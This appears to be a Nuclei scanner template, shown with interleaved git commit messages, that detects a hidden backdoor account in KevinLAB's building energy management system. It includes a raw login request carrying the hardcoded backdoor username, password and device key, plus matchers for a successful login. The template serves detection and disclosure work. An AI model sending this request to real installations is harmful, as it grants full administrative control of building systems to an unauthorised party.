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nuclei-templates/vulnerabilities/other/kevinlab-bems-backdoor.yaml

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Create kevinlab-bems-backdoor.yaml The BEMS solution has an undocumented backdoor account and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution thru the RMI. Attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the BEMS is offering remotely. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-22 13:13:00 +00:00
id: kevinlab-bems-backdoor
info:
name: KevinLAB BEMS (Building Energy Management System) Undocumented Backdoor Account
author: gy741
severity: critical
description: The BEMS solution has an undocumented backdoor account and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution thru the RMI. Attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the BEMS is offering remotely.
reference: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5654.php
tags: kevinlab
requests:
- raw:
- |
POST /http/index.php HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
requester=login&request=login&params=%5B%7B%22name%22%3A%22input_id%22%2C%22value%22%3A%22kevinlab%22%7D%2C%7B%22name%22%3A%22input_passwd%22%2C%22value%22%3A%22kevin003%22%7D%2C%7B%22name%22%3A%22device_key%22%2C%22value%22%3A%22a2fe6b53-e09d-46df-8c9a-e666430e163e%22%7D%2C%7B%22name%22%3A%22auto_login%22%2C%22value%22%3Afalse%7D%2C%7B%22name%22%3A%22login_key%22%2C%22value%22%3A%22%22%7D%5D
Update kevinlab-bems-backdoor.yaml
2021-07-23 21:47:53 +00:00
Create kevinlab-bems-backdoor.yaml The BEMS solution has an undocumented backdoor account and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution thru the RMI. Attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the BEMS is offering remotely. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-22 13:13:00 +00:00
matchers-condition: and
matchers:
- type: regex
regex:
- 'data":"[A-Za-z0-9-]+'
- 'login_key":"[A-Za-z0-9-]+'
part: body
condition: or
- type: status
status:
- 200